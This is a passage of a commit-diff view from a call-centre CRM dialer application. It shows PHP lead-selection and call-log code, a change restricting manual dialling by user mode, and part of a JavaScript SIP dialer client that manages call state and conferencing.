| 1473 | // } | ||
| 1474 | if($limit>0) | ||
| 1475 | { | ||
| 1476 | $tusers = array_filter($clientDetails, function($var){ | ||
| 1477 | return ($var['status']=='New'&&$var['mobile']!=''); | ||
| 1478 | }); | ||
| 1479 | |||
| 1480 | $l=1; | ||
| 1481 | foreach($tusers as $tuser){ | ||
| 1482 | if(!isset($users[$tuser['id']])){ | ||
| 1483 | $users[$tuser['id']]=$tuser; | ||
| 1484 | $l++; | ||
| 1485 | |||
| 1486 | if($l>$limit) | ||
| 1487 | break; | ||
| 1488 | } | ||
| 1489 | } | ||
| 1490 | |||
| 1491 | $limit=$limit-sizeof($tusers); | ||
| 1492 | } | ||
| 1493 | |||
| 1494 | if($limit>0) | ||
| 1495 | { | ||
| 1496 | $tusers = array_filter($clientDetails, function($var){ | ||
| 1497 | return ($var['status']=='Called'&&$var['dialer_status']=='Not Contactable - Non Human Voice'); | ||
| 1498 | }); | ||
| 1499 | |||
| 1500 | $l=1; | ||
| 1501 | foreach($tusers as $tuser){ | ||
| 1502 | if(!isset($users[$tuser['id']])){ | ||
| 1503 | $users[$tuser['id']]=$tuser; | ||
| 1504 | $l++; | ||
| 1505 | |||
| 1506 | if($l>$limit) | ||
| 1507 | break; | ||
| 1508 | } | ||
| 1509 | } | ||
| 1510 | |||
| 1511 | $limit=$limit-sizeof($tusers); | ||
| 1512 | } | ||
| 1513 | |||
| 1514 | if($limit>0) | ||
| 1515 | { | ||
| 1516 | $tusers = array_filter($clientDetails, function($var){ | ||
| 1517 | return ($var['status']=='Called'&&$var['dialer_status']=='Not Contactable - Human Voice'); | ||
| 1518 | }); | ||
| 1519 | $l=1; | ||
| 1520 | foreach($tusers as $tuser){ | ||
| 1521 | if(!isset($users[$tuser['id']])){ | ||
| 1522 | $users[$tuser['id']]=$tuser; | ||
| 1523 | $l++; | ||
| 1524 | |||
| 1525 | if($l>$limit) | ||
| 1526 | break; | ||
| 1527 | } | ||
| 1528 | } | ||
| 1529 | |||
| 1530 | $limit=$limit-sizeof($tusers); | ||
| 1531 | } | ||
| 1532 | |||
| 1533 | if($limit>0) | ||
| 1534 | { | ||
| 1535 | $tusers = array_filter($clientDetails, function($var){ | ||
| 1536 | return ($var['status']=='Called'&&$var['dialer_status']=='Contacted - Follow-Up - Generic'); | ||
| 1537 | }); | ||
| 1538 | $l=1; | ||
| 1539 | foreach($tusers as $tuser){ | ||
| 1540 | if(!isset($users[$tuser['id']])){ | ||
| 1541 | $users[$tuser['id']]=$tuser; | ||
| 1542 | $l++; | ||
| 1543 | |||
| 1544 | if($l>$limit) | ||
| 1545 | break; | ||
| 1546 | } | ||
| 1547 | } | ||
| 1548 | |||
| 1549 | $limit=$limit-sizeof($tusers); | ||
| 1550 | } | ||
| 1551 | |||
| 1552 | if($limit>0) | ||
| 1553 | { | ||
| 1554 | $tusers = array_filter($clientDetails, function($var){ | ||
| 1555 | return ($var['status']=='Called'&&$var['dialer_status']=='AUTOWRAPUP'); | ||
| 1556 | }); | ||
| 1557 | $l=1; | ||
| 1558 | foreach($tusers as $tuser){ | ||
| 1559 | if(!isset($users[$tuser['id']])){ | ||
| 1560 | $users[$tuser['id']]=$tuser; | ||
| 1561 | $l++; | ||
| 1562 | |||
| 1563 | if($l>$limit) | ||
| 1564 | break; | ||
| 1565 | } | ||
| 1566 | } | ||
| 1567 | |||
| 1568 | $limit=$limit-sizeof($tusers); | ||
| 1569 | } | ||
| 1570 | |||
| 1571 | $tusers=array();foreach($users as $tuser)$tusers[]=$tuser; | ||
| 1572 | return $tusers; | ||
| 1573 | } | ||
| 1574 | } |
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
| ... | @@ -6,54 +6,36 @@ use App\Jobs\KHRMSLib; | ... | @@ -6,54 +6,36 @@ use App\Jobs\KHRMSLib; |
| 6 | 6 | ||
| 7 | $wakka = new KHRMSLib(); | 7 | $wakka = new KHRMSLib(); |
| 8 | $dashboarduser=Auth::user(); | 8 | $dashboarduser=Auth::user(); |
| 9 | $userdialmode=$dashboarduser->dialmode_assign; | ||
| 10 | $userdialmode=explode(",",$userdialmode); | ||
| 11 | if(isset($_GET['logdate']))$logdate=strtotime($_GET['logdate']." 00:00:00"); | ||
| 12 | else $logdate=strtotime(date('Y-m-d')." 00:00:00"); | ||
| 9 | 13 | ||
| 14 | $prevlogdate = strtotime(date('Y-m-d', strtotime('-7 day'))); | ||
| 10 | if(Input::get("getCallRec")=="1") | 15 | if(Input::get("getCallRec")=="1") |
| 11 | { | 16 | { |
| 17 | if($logdate < $prevlogdate){ | ||
| 12 | $calllog=CRMCallArchive::find(Input::get("calllog")); | 18 | $calllog=CRMCallArchive::find(Input::get("calllog")); |
| 19 | }else{ | ||
| 20 | $calllog=CRMCall::find(Input::get("calllog")); | ||
| 21 | } | ||
| 22 | |||
| 13 | $tdata=json_decode($calllog->data,true); | 23 | $tdata=json_decode($calllog->data,true); |
| 14 | echo '<audio controls src="dialer/playrecfile?calllog='.$calllog->id.'" />'; | 24 | echo '<audio controls src="dialer/playrecfile?calllog='.$calllog->id.'" />'; |
| 15 | 25 | ||
| 16 | return; | 26 | return; |
| 17 | } | 27 | } |
| 18 | 28 | ||
| 19 | if(isset($_GET['logdate']))$logdate=strtotime($_GET['logdate']." 00:00:00"); | ||
| 20 | else $logdate=strtotime(date('Y-m-d')." 00:00:00"); | ||
| 21 | 29 | ||
| 22 | $prevlogdate = strtotime(date('Y-m-d', strtotime('-7 day'))); | ||
| 23 | 30 | ||
| 24 | 31 | ||
| 25 | if($logdate < $prevlogdate) | 32 | if($logdate < $prevlogdate) |
| 26 | { | 33 | { |
| 27 | $alist=CRMCallArchive::where('created_at','>=',date("Y-m-d H:i:s",$logdate))->where('created_at','<=',date("Y-m-d H:i:s",$logdate+24*60*60)); | 34 | $alist=CRMCallArchive::where('created_at','>=',date("Y-m-d H:i:s",$logdate))->where('created_at','<=',date("Y-m-d H:i:s",$logdate+24*60*60)); |
| 28 | |||
| 29 | /*$alist=DB::table('crmcalls_archive as cca') | ||
| 30 | ->leftJoin('full_remark as fr', 'cca.id', '=', 'fr.call_id') | ||
| 31 | ->select('cca.*', 'fr.fullremark') | ||
| 32 | ->where('cca.created_at','>=',date("Y-m-d H:i:s",$logdate)) | ||
| 33 | ->where('cca.created_at','<=',date("Y-m-d H:i:s",$logdate+24*60*60)); | ||
| 34 | */ | ||
| 35 | /*$alist=DB::table('crmcalls_archive as cca') | ||
| 36 | ->join('full_remark as fr', 'cca.id', '=', 'fr.call_id') | ||
| 37 | ->select('cca.*', 'fr.fullremark') | ||
| 38 | ->where('cca.created_at','>=',date("Y-m-d H:i:s",$logdate)) | ||
| 39 | ->where('cca.created_at','<=',date("Y-m-d H:i:s",$logdate+24*60*60));*/ | ||
| 40 | } | 35 | } |
| 41 | else | 36 | else |
| 42 | { | 37 | { |
| 43 | $alist=CRMCall::where('created_at','>=',date("Y-m-d H:i:s",$logdate))->where('created_at','<=',date("Y-m-d H:i:s",$logdate+24*60*60)); | 38 | $alist=CRMCall::where('created_at','>=',date("Y-m-d H:i:s",$logdate))->where('created_at','<=',date("Y-m-d H:i:s",$logdate+24*60*60)); |
| 44 | /*$alist=DB::table('crmcalls as cca') | ||
| 45 | ->leftJoin('full_remark as fr', 'cca.id', '=', 'fr.call_id') | ||
| 46 | ->select('cca.*', 'fr.fullremark') | ||
| 47 | ->where('cca.created_at','>=',date("Y-m-d H:i:s",$logdate)) | ||
| 48 | ->where('cca.created_at','<=',date("Y-m-d H:i:s",$logdate+24*60*60));*/ | ||
| 49 | |||
| 50 | /*$alist=DB::table('crmcalls as cca') | ||
| 51 | ->join('full_remark as fr', 'cca.id', '=', 'fr.call_id') | ||
| 52 | ->select('cca.*', 'fr.fullremark') | ||
| 53 | ->where('cca.created_at','>=',date("Y-m-d H:i:s",$logdate)) | ||
| 54 | ->where('cca.created_at','<=',date("Y-m-d H:i:s",$logdate+24*60*60));*/ | ||
| 55 | |||
| 56 | |||
| 57 | } | 39 | } |
| 58 | 40 | ||
| 59 | //if(!$dashboarduser->moduleACL("Dialer",false,false,true)) | 41 | //if(!$dashboarduser->moduleACL("Dialer",false,false,true)) |
| ... | @@ -293,6 +275,7 @@ if(Input::has("dllogxls")) | ... | @@ -293,6 +275,7 @@ if(Input::has("dllogxls")) |
| 293 | foreach($alist as $aline) | 275 | foreach($alist as $aline) |
| 294 | { | 276 | { |
| 295 | $clientcode=""; | 277 | $clientcode=""; |
| 278 | |||
| 296 | if($aline->crm_id>0) | 279 | if($aline->crm_id>0) |
| 297 | { | 280 | { |
| 298 | /*$user=$wakka->getPerson($aline->crm_id); | 281 | /*$user=$wakka->getPerson($aline->crm_id); |
| ... | @@ -322,9 +305,19 @@ foreach($alist as $aline) | ... | @@ -322,9 +305,19 @@ foreach($alist as $aline) |
| 322 | <td>".$dispname."</td> | 305 | <td>".$dispname."</td> |
| 323 | <td title='".str_replace("'"," ",$aline->userremarks)."'>".$aline->userstatus."</td> | 306 | <td title='".str_replace("'"," ",$aline->userremarks)."'>".$aline->userstatus."</td> |
| 324 | <td>".$aline->usersubstatus."</td> | 307 | <td>".$aline->usersubstatus."</td> |
| 325 | <td>".($aline->usercallback!="0000-00-00 00:00:00"?date("Y-m-d H:i:s",strtotime($aline->usercallback)-($dashboarduser->timezone*60)):"")."</td> | 308 | <td>".($aline->usercallback!="0000-00-00 00:00:00"?date("Y-m-d H:i:s",strtotime($aline->usercallback)-($dashboarduser->timezone*60)):"")."</td>"; |
| 326 | <td><a href=# class='' onclick='dialerQuickOpen(\"$aline->crm_id\",\"$aline->number\",\"Manual\",\"\",0);return false;'>".$aline->number."</a></td> | 309 | |
| 327 | <td>$clientcode</td> | 310 | //onclick call disable for the manual mode is not assign to user code by prashant Jadhav |
| 311 | |||
| 312 | if(in_array('Manual',$userdialmode)) | ||
| 313 | { | ||
| 314 | $outstr.="<td><a href=# class='' onclick='dialerQuickOpen(\"$aline->crm_id\",\"$aline->number\",\"Manual\",\"\",0);return false;'>".$aline->number."</a></td>"; | ||
| 315 | } | ||
| 316 | else | ||
| 317 | { | ||
| 318 | $outstr.="<td><a href=# class='' return false;'>".$aline->number."</a></td>"; | ||
| 319 | } | ||
| 320 | $outstr.="<td>$clientcode</td> | ||
| 328 | <td>".$aline->client."</td> | 321 | <td>".$aline->client."</td> |
| 329 | <td>".$aline->department."</td> | 322 | <td>".$aline->department."</td> |
| 330 | <td>".$aline->state."</td> | 323 | <td>".$aline->state."</td> |
| ... | @@ -586,7 +579,7 @@ series: [{ | ... | @@ -586,7 +579,7 @@ series: [{ |
| 586 | } | 579 | } |
| 587 | function getCallRec(id) | 580 | function getCallRec(id) |
| 588 | { | 581 | { |
| 589 | doAjax("dialer/calllog","getCallRec=1&calllog="+id,'recspan_'+id,'rec_ajax','singlefail','GET'); | 582 | doAjax("dialer/calllog","getCallRec=1&calllog="+id+"&logdate="+$("#modfrom").val(),'recspan_'+id,'rec_ajax','singlefail','GET'); |
| 590 | } | 583 | } |
| 591 | function dlCalllogXls() | 584 | function dlCalllogXls() |
| 592 | { | 585 | { | ... | ... |
File mode changed
File mode changed
File mode changed
File mode changed
File mode changed
| 1 | var loggedin=0; | ||
| 2 | |||
| 3 | var sTransferNumber; | ||
| 4 | var oRingTone, oRingbackTone; | ||
| 5 | var oSipStack, oSipSessionRegister, oSipSessionCall, oSipSessionTransferCall; | ||
| 6 | var videoRemote, videoLocal, audioRemote; | ||
| 7 | var bFullScreen = false; | ||
| 8 | var oNotifICall; | ||
| 9 | var bDisableVideo = false; | ||
| 10 | var viewLocalScreencast; // <video> (webrtc) or <div> (webrtc4all) | ||
| 11 | var oConfigCall; | ||
| 12 | var oReadyStateTimer; | ||
| 13 | |||
| 14 | var divVideo, divCallOptions; | ||
| 15 | var hangupgrowl=0; | ||
| 16 | var answergrowl=0; | ||
| 17 | var txtDisplayName, txtPrivateIdentity, txtPublicIdentity, txtRealm; | ||
| 18 | var txtPhoneNumber; | ||
| 19 | var btnCall, btnHangUp; | ||
| 20 | var txtRegStatus, txtCallStatus; | ||
| 21 | var btnRegister, btnUnRegister; | ||
| 22 | var btnFullScreen, btnHoldResume, btnTransfer, btnKeyPad; | ||
| 23 | |||
| 24 | |||
| 25 | var kstychDialer={}; | ||
| 26 | kstychDialer['mDialerState']='Paused'; | ||
| 27 | kstychDialer['mDialerSubState']='NotReady'; | ||
| 28 | kstychDialer['mDialerCampaign']=''; | ||
| 29 | kstychDialer['mdispodata']=''; | ||
| 30 | kstychDialer['mDialNextStatus']='New'; | ||
| 31 | kstychDialer['mmanualallow']='No'; | ||
| 32 | kstychDialer['pendingDataSize']=0; | ||
| 33 | kstychDialer['phone']=kstychAppObject['user']['sipid']; | ||
| 34 | kstychDialer['connection']={'number':'1000'+kstychAppObject['user']['sipid'],'connected':0,'mic':1,'speaker':1,'channel':'','holdext':''}; | ||
| 35 | kstychDialer["keeplocalconf"]=kstychAppObject['config']['kDialer_keeplocalconf']; | ||
| 36 | kstychDialer['RedialLast']=''; | ||
| 37 | |||
| 38 | var kstychCall={}; | ||
| 39 | kstychCall['mCallState']='Wait'; //states : ,Wait,Call,Dispo,Close | ||
| 40 | kstychCall['ts_Wait']=getNowTS(); | ||
| 41 | kstychCall['ts_Call']=0; | ||
| 42 | kstychCall['ts_Talk']=0; | ||
| 43 | kstychCall['ts_Dispo']=0; | ||
| 44 | kstychCall['ts_Close']=0; | ||
| 45 | kstychCall['callnumber']=''; | ||
| 46 | kstychCall['connections']={}; | ||
| 47 | kstychCall['callid']=''; | ||
| 48 | kstychCall['crmid']=''; | ||
| 49 | kstychCall['campaignid']=''; | ||
| 50 | kstychCall['listid']=''; | ||
| 51 | kstychCall['mdial_CallACK']=0; | ||
| 52 | kstychCall['mcalldata']=''; | ||
| 53 | kstychCall['userstatus']=''; | ||
| 54 | kstychCall['usersubstatus']=''; | ||
| 55 | kstychCall['usercallback']=''; | ||
| 56 | kstychCall['userremarks']=''; | ||
| 57 | kstychCall["attempt"]=''; | ||
| 58 | kstychCall['fullremark']=''; | ||
| 59 | kstychCall['agentcomments']=''; | ||
| 60 | kstychCall['supcomntid']=''; | ||
| 61 | kstychCall['userdata']={}; | ||
| 62 | kstychCall['previewcrmid']=''; | ||
| 63 | kstychCall['callWrapupTime']=300; | ||
| 64 | kstychCall['prograssiveDelay']=120; | ||
| 65 | kstychCall['ts_now']=0; | ||
| 66 | |||
| 67 | kstychCall['bttc_day']=''; | ||
| 68 | kstychCall['bttc_hrs']=''; | ||
| 69 | kstychCall['serv_vs_prod']=''; | ||
| 70 | kstychCall['resolution']=''; | ||
| 71 | kstychCall['satisfy']=''; | ||
| 72 | kstychCall['final_call_assess']=''; | ||
| 73 | |||
| 74 | function kGetDData(obj,key) | ||
| 75 | { | ||
| 76 | if(obj=="D") | ||
| 77 | { | ||
| 78 | if(kstychDialer[key])return kstychDialer[key]; | ||
| 79 | } | ||
| 80 | if(obj=="C") | ||
| 81 | { | ||
| 82 | if(kstychCall[key])return kstychCall[key]; | ||
| 83 | } | ||
| 84 | return false; | ||
| 85 | } | ||
| 86 | function kSetDData(obj,key,val) | ||
| 87 | { | ||
| 88 | if(obj=="D") | ||
| 89 | { | ||
| 90 | kstychDialer[key]=val; | ||
| 91 | } | ||
| 92 | if(obj=="C") | ||
| 93 | { | ||
| 94 | kstychCall[key]=val; | ||
| 95 | } | ||
| 96 | |||
| 97 | //TODO update backend user session (userlog) | ||
| 98 | return false; | ||
| 99 | } | ||
| 100 | |||
| 101 | function getNowTS() | ||
| 102 | { | ||
| 103 | return Math.floor(Date.now()); | ||
| 104 | } | ||
| 105 | |||
| 106 | function kcallNewConnection(number) | ||
| 107 | { | ||
| 108 | var clines=kGetDData('C','connections'); | ||
| 109 | if(!clines[number]) | ||
| 110 | { | ||
| 111 | clines[number]={}; | ||
| 112 | clines[number]['connected']=0; | ||
| 113 | clines[number]['channel']=''; | ||
| 114 | clines[number]['callid']=''; | ||
| 115 | clines[number]['ts_Call']=0; | ||
| 116 | clines[number]['ts_Talk']=0; | ||
| 117 | clines[number]['ts_Dispo']=0; | ||
| 118 | clines[number]['speaker']=1; | ||
| 119 | clines[number]['mic']=1; | ||
| 120 | clines[number]['holdext']=''; | ||
| 121 | kSetDData('C','connections',clines); | ||
| 122 | } | ||
| 123 | } | ||
| 124 | function kcallSetConnection(number,key,val) | ||
| 125 | { | ||
| 126 | kcallNewConnection(number); | ||
| 127 | var clines=kGetDData('C','connections'); | ||
| 128 | clines[number][key]=val; | ||
| 129 | kSetDData('C','connections',clines); | ||
| 130 | } | ||
| 131 | function kcallGetConnection(number,key) | ||
| 132 | { | ||
| 133 | kcallNewConnection(number); | ||
| 134 | var clines=kGetDData('C','connections'); | ||
| 135 | return clines[number][key]; | ||
| 136 | } | ||
| 137 | function kcallHasConnection(number) | ||
| 138 | { | ||
| 139 | var clines=kGetDData('C','connections'); | ||
| 140 | if(!clines[number])return false; | ||
| 141 | return true; | ||
| 142 | } | ||
| 143 | |||
| 144 | function dialerQuickOpen(varid,num,state,substate,autorun) | ||
| 145 | { | ||
| 146 | if(kstychCall['mCallState']=="Wait") | ||
| 147 | { | ||
| 148 | var oldpreviewid=kstychCall['previewcrmid']; | ||
| 149 | kstychCall['previewcrmid']=''; | ||
| 150 | kstychCall['callnumber']=''; | ||
| 151 | kstychCall['crmid']=''; | ||
| 152 | |||
| 153 | if(varid!=''&&varid>0) | ||
| 154 | { | ||
| 155 | if(num!=''&&num!='0') | ||
| 156 | { | ||
| 157 | kstychCall['callnumber']=num; | ||
| 158 | $("#manualdialnumber_txt").val(num); | ||
| 159 | } | ||
| 160 | |||
| 161 | if(oldpreviewid!=varid||state!=kstychDialer['mDialerState']) | ||
| 162 | { | ||
| 163 | kstychCall['previewcrmid']=varid;//progressiveDelay set to 1 //TODO | ||
| 164 | updateDialerState("dialer","mDialerState",state,"mDialerSubState",substate); | ||
| 165 | } | ||
| 166 | else | ||
| 167 | { | ||
| 168 | kstychCall['previewcrmid']=varid; | ||
| 169 | updateDialerState(); | ||
| 170 | } | ||
| 171 | kDialerModel(); | ||
| 172 | } | ||
| 173 | else | ||
| 174 | { | ||
| 175 | if(num!='') | ||
| 176 | { | ||
| 177 | $("#manualdialnumber_txt").val(num); | ||
| 178 | updateDialerState("dialer","mDialerState","Manual"); | ||
| 179 | kDialerModel(); | ||
| 180 | if(autorun==1)setTimeout(function(){$("#manualdial_btn").click()},350); | ||
| 181 | } | ||
| 182 | } | ||
| 183 | } | ||
| 184 | else | ||
| 185 | { | ||
| 186 | simpleNotification('error','topRight',"Already on call!"); | ||
| 187 | } | ||
| 188 | |||
| 189 | $("#dialerstate_btn").parent().attr("disabled",true); | ||
| 190 | } | ||
| 191 | function dialerAddAlt(i,varid) | ||
| 192 | { | ||
| 193 | var phone=$("#dialer_altphone"+i).val(); | ||
| 194 | var desc=$("#dialer_altphone_lbl_"+i).val(); | ||
| 195 | |||
| 196 | if(!/^\d{10}$/.test(phone)&&!/^\d{11}$/.test(phone)) | ||
| 197 | { | ||
| 198 | simpleNotification('error','topRight',"Please enter 10 or 11 neumeric digits only"); | ||
| 199 | return; | ||
| 200 | } | ||
| 201 | if(desc=="") | ||
| 202 | { | ||
| 203 | simpleNotification('error','topRight',"Please enter number description"); | ||
| 204 | return; | ||
| 205 | } | ||
| 206 | |||
| 207 | if(phone!="") | ||
| 208 | { | ||
| 209 | var data="varid="+varid; | ||
| 210 | data+="&keys=altphone"+i+",altphone_lbl_"+i; | ||
| 211 | data+="&altphone"+i+"="+phone; | ||
| 212 | data+="&altphone_lbl_"+i+"="+desc; | ||
| 213 | |||
| 214 | doAjax('record?action=addkey',data,'dialersearchresults', 'ajax_manualdial','singlefail','POST', function(retstr){ | ||
| 215 | $("#dialersearchresults").html('<div id=divworking></div><div style="clear:both"></div>'); | ||
| 216 | showRecruit(varid); | ||
| 217 | }); | ||
| 218 | } | ||
| 219 | |||
| 220 | } | ||
| 221 | function dialerDelAlt(i,varid) | ||
| 222 | { | ||
| 223 | doAjax('record?action=delaltphone&i='+i+'&varid='+varid,'','dialersearchresults', 'ajax_manualdial','singlefail','POST', function(retstr){ | ||
| 224 | $("#dialersearchresults").html('<div id=divworking></div><div style="clear:both"></div>'); | ||
| 225 | showRecruit(varid); | ||
| 226 | }); | ||
| 227 | } | ||
| 228 | |||
| 229 | function kDialerSpy(sipid,fun) | ||
| 230 | { | ||
| 231 | var datastr="kstychCall="+JSON.stringify(kstychCall); | ||
| 232 | datastr+="&kstychDialer="+JSON.stringify(kstychDialer); | ||
| 233 | |||
| 234 | datastr+="&sipid="+sipid; | ||
| 235 | datastr+="&mode="+fun; | ||
| 236 | |||
| 237 | try{sipHangUp();}catch(e){console.log(e);} | ||
| 238 | doAjax('dialer?action=spychannel',datastr,'__fake__div__', 'ajax_spydial','singlefail','POST', function(retstr){ | ||
| 239 | |||
| 240 | }); | ||
| 241 | } | ||
| 242 | function kCallAction(num,action) | ||
| 243 | { | ||
| 244 | //action : MuteSpeaker,UnMuteSpeaker,MuteMic,UnMuteMic,Hangup,Hold,UnHold | ||
| 245 | if(num=="u") | ||
| 246 | { | ||
| 247 | if(action=="MuteMic")kstychDialer['connection']['mic']=sipToggleMute(); | ||
| 248 | if(action=="UnMuteMic")kstychDialer['connection']['mic']=sipToggleMute(); | ||
| 249 | if(action=="MuteSpeaker"); | ||
| 250 | if(action=="UnMuteSpeaker"); | ||
| 251 | if(action=="Hangup"); | ||
| 252 | //if(action=="Hold"); | ||
| 253 | //if(action=="UnHold"); | ||
| 254 | } | ||
| 255 | else | ||
| 256 | { | ||
| 257 | if(num=="c")num=kstychCall['callnumber']; | ||
| 258 | var channel=kcallGetConnection(num,'channel'); | ||
| 259 | if(channel!='') | ||
| 260 | { | ||
| 261 | if(action=="MuteMic")kcallSetConnection(num,'mic',0); | ||
| 262 | if(action=="UnMuteMic")kcallSetConnection(num,'mic',1); | ||
| 263 | if(action=="MuteSpeaker")kcallSetConnection(num,'speaker',0); | ||
| 264 | if(action=="UnMuteSpeaker")kcallSetConnection(num,'speaker',1); | ||
| 265 | if(action=="Hangup"); | ||
| 266 | //if(action=="Hold")kcallSetConnection(num,'holdext'); | ||
| 267 | //if(action=="UnHold")kcallSetConnection(num,'holdext'); | ||
| 268 | |||
| 269 | doAjax('dialer?action=kCallAction&actiontype='+action+'&conf='+kstychDialer['connection']['number']+'&channel='+channel,'','__fake__div__', 'ajax_confdial','singlefail','POST', function(retstr){ | ||
| 270 | |||
| 271 | }); | ||
| 272 | } | ||
| 273 | else simpleNotification('error','topRight',"No Channel for ["+num+"]"); | ||
| 274 | } | ||
| 275 | |||
| 276 | updateDialerState(); | ||
| 277 | } | ||
| 278 | |||
| 279 | function dialerDispNumberClick() | ||
| 280 | { | ||
| 281 | var lastnumber=$("#spandialer_num").html(); | ||
| 282 | kstychCall['callWrapupTime']=300; | ||
| 283 | |||
| 284 | if(kstychCall['mCallState']=="Dispo") | ||
| 285 | { | ||
| 286 | |||
| 287 | saveCloseDialerCall("REDIAL"); | ||
| 288 | } | ||
| 289 | } | ||
| 290 | function dialerAddConfCall() | ||
| 291 | { | ||
| 292 | var confnumber=$("#dialerConfNumberTxt").val(); | ||
| 293 | if(confnumber==''||confnumber.length<2) | ||
| 294 | { | ||
| 295 | simpleNotification('error','topRight',"Empty Number"); | ||
| 296 | return; | ||
| 297 | } | ||
| 298 | |||
| 299 | if(!kcallHasConnection(kstychCall['callnumber'])||kstychCall['ts_Dispo']>1) | ||
| 300 | { | ||
| 301 | simpleNotification('error','topRight',"No call to conference"); | ||
| 302 | return; | ||
| 303 | } | ||
| 304 | |||
| 305 | var datastr="kstychCall="+JSON.stringify(kstychCall); | ||
| 306 | datastr+="&kstychDialer="+JSON.stringify(kstychDialer); | ||
| 307 | |||
| 308 | kcallNewConnection(confnumber); | ||
| 309 | doAjax('dialer?action=addconfcall&confnumber='+confnumber,datastr,'__fake__div__', 'ajax_confdial','singlefail','POST', function(retstr){ | ||
| 310 | if(retstr.responseText.indexOf('Error')<0) | ||
| 311 | { | ||
| 312 | kcallSetConnection(confnumber,'callid',retstr.responseText); | ||
| 313 | kcallSetConnection(confnumber,'ts_Call',getNowTS()); | ||
| 314 | |||
| 315 | updateDialerState(); | ||
| 316 | } | ||
| 317 | else | ||
| 318 | { | ||
| 319 | simpleNotification('error','topRight',retstr.responseText); | ||
| 320 | } | ||
| 321 | }); | ||
| 322 | } | ||
| 323 | |||
| 324 | function incomingCall(calllog,crmid,number) | ||
| 325 | { | ||
| 326 | $("#dialersearchresults").html('<div id=divworking></div><div style="clear:both"></div>'); | ||
| 327 | |||
| 328 | kcallSetConnection(number,'callid',calllog); | ||
| 329 | kcallSetConnection(number,'connected',1); | ||
| 330 | |||
| 331 | kSetDData('C','callid',calllog); | ||
| 332 | kSetDData('C','crmid',crmid); | ||
| 333 | |||
| 334 | if(crmid>0)showRecruit(crmid); | ||
| 335 | else | ||
| 336 | { | ||
| 337 | createSearchRecordDiv('dialersearchresults'); | ||
| 338 | } | ||
| 339 | |||
| 340 | kSetDData('C','mCallState','Call'); | ||
| 341 | kSetDData('C','ts_Call',getNowTS()); | ||
| 342 | kSetDData('C','ts_Talk',getNowTS()); | ||
| 343 | |||
| 344 | kstychCall["callnumber"]=number; | ||
| 345 | |||
| 346 | updateDialerState(); | ||
| 347 | kDialerModel(); | ||
| 348 | } | ||
| 349 | |||
| 350 | function dialerUIUpdate(var1,var2,var3) | ||
| 351 | { | ||
| 352 | var3parts=var3.split("~"); | ||
| 353 | var3parts[2]=atob(var3parts[2]); | ||
| 354 | if(var1=="dialstart") | ||
| 355 | { | ||
| 356 | if(var2=="c") | ||
| 357 | { | ||
| 358 | if(var3parts[1]&&var3parts[1]!="") | ||
| 359 | { | ||
| 360 | kcallSetConnection(var3parts[1],'connected',1); | ||
| 361 | kcallSetConnection(var3parts[1],'channel',var3parts[2]); | ||
| 362 | kcallSetConnection(var3parts[1],'ts_Call',getNowTS()); | ||
| 363 | if(var3parts[1]==kstychCall['callnumber'])kSetDData('C','ts_Call',getNowTS()); | ||
| 364 | |||
| 365 | updateDialerState(); | ||
| 366 | } | ||
| 367 | } | ||
| 368 | else if(var2=="u") | ||
| 369 | { | ||
| 370 | var dialerConnection=kGetDData("D","connection"); | ||
| 371 | dialerConnection['channel']=var3parts[2]; | ||
| 372 | kSetDData("D","connection",dialerConnection); | ||
| 373 | } | ||
| 374 | } | ||
| 375 | |||
| 376 | if(var1=="dialend") | ||
| 377 | { | ||
| 378 | if(var2=="c") | ||
| 379 | { | ||
| 380 | if(var3parts[1]&&var3parts[1]!="") | ||
| 381 | { | ||
| 382 | kcallSetConnection(var3parts[1],'connected',1); | ||
| 383 | kcallSetConnection(var3parts[1],'channel',var3parts[2]); | ||
| 384 | kcallSetConnection(var3parts[1],'ts_Talk',getNowTS()); | ||
| 385 | if(var3parts[1]==kstychCall['callnumber'])kSetDData('C','ts_Talk',getNowTS()); | ||
| 386 | |||
| 387 | updateDialerState(); | ||
| 388 | } | ||
| 389 | } | ||
| 390 | } | ||
| 391 | |||
| 392 | if(var1=="hangup") | ||
| 393 | { | ||
| 394 | if(var2=="c") | ||
| 395 | { | ||
| 396 | if(var3parts[1]&&var3parts[1]!="") | ||
| 397 | { | ||
| 398 | kcallSetConnection(var3parts[1],'connected',0); | ||
| 399 | if(kcallGetConnection(var3parts[1],'ts_Call')==0)kcallSetConnection(var3parts[1],'ts_Call',getNowTS()); | ||
| 400 | if(kcallGetConnection(var3parts[1],'ts_Talk')==0)kcallSetConnection(var3parts[1],'ts_Talk',getNowTS()); | ||
| 401 | kcallSetConnection(var3parts[1],'ts_Dispo',getNowTS()); | ||
| 402 | |||
| 403 | if(var3parts[1]==kstychCall['callnumber']) | ||
| 404 | { | ||
| 405 | if(kstychCall['ts_Call']==0)kSetDData('C','ts_Call',getNowTS()); | ||
| 406 | if(kstychCall['ts_Talk']==0)kSetDData('C','ts_Talk',getNowTS()); | ||
| 407 | |||
| 408 | kSetDData('C','ts_Dispo',getNowTS()); | ||
| 409 | hangupCall(); | ||
| 410 | } | ||
| 411 | |||
| 412 | updateDialerState(); | ||
| 413 | } | ||
| 414 | } | ||
| 415 | } | ||
| 416 | } | ||
| 417 | |||
| 418 | function incomingPopupAlert(var1,var2,var3) | ||
| 419 | { | ||
| 420 | //var incomingnotify=growlSNotify(var1,var2,"top-right"); | ||
| 421 | //setTimeout(function(){$.gritter.remove(incomingnotify, {fade: true,speed: 'slow'});incomingnotify=0;},1500); | ||
| 422 | |||
| 423 | $.titleAlert(var1+" "+var2, { | ||
| 424 | requireBlur:true, | ||
| 425 | stopOnFocus:true, | ||
| 426 | duration:1500, | ||
| 427 | interval:500 | ||
| 428 | }); | ||
| 429 | //incomingbeepstart(); | ||
| 430 | kDesktopNotification("",var1,var2,1500); | ||
| 431 | } | ||
| 432 | |||
| 433 | function outgoingCall() | ||
| 434 | { | ||
| 435 | $("#dialersearchresults").html(""); | ||
| 436 | kSetDData('C','callnumber',$("#manualdialnumber_txt").val()); | ||
| 437 | //console.log("kstychcall--"+JSON.stringify(kstychCall)); | ||
| 438 | var datastr="kstychCall="+JSON.stringify(kstychCall); | ||
| 439 | datastr+="&kstychDialer="+JSON.stringify(kstychDialer); | ||
| 440 | |||
| 441 | var client = $('#tcampaign_select').val(); | ||
| 442 | |||
| 443 | if(kstychDialer['mDialerState']=="Manual") | ||
| 444 | { | ||
| 445 | if(kstychCall['callnumber']!="") | ||
| 446 | { | ||
| 447 | doAjax('dialer?action=newcall&client='+client,datastr,'dialersearchresults', 'ajax_manualdial','singlefail','POST', function(retstr){ | ||
